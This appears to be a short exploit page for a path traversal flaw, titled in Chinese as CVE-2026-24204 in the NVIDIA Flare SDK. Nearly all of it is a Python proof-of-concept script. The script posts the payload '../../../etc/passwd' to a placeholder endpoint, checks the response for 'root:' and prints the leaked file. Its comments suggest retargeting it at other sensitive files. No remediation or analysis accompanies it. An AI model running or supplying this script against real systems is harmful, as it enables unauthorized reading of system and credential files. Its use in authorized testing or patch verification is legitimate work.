CVE-2026-24204 NVIDIA Flare SDK 路径遍历漏洞

import requests # Target URL example (replace with actual vulnerable endpoint) target_url = "http://target-host:port/api/vulnerable_endpoint" # Malicious payload using path traversal to access /etc/passwd # Attackers may modify the payload to target other sensitive files payload = { "file_path": "../../../etc/passwd" } try: # Sending the malicious request response = requests.post(target_url, data=payload) # Checking if the exploit was successful by looking for root user in response if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability exploited successfully!") print("[+] Sensitive data retrieved:") print(response.text) else: print("[-] Exploit failed or target is not vulnerable.") print("Status Code:", response.status_code) except Exception as e: print(f"[!] An error occurred: {e}")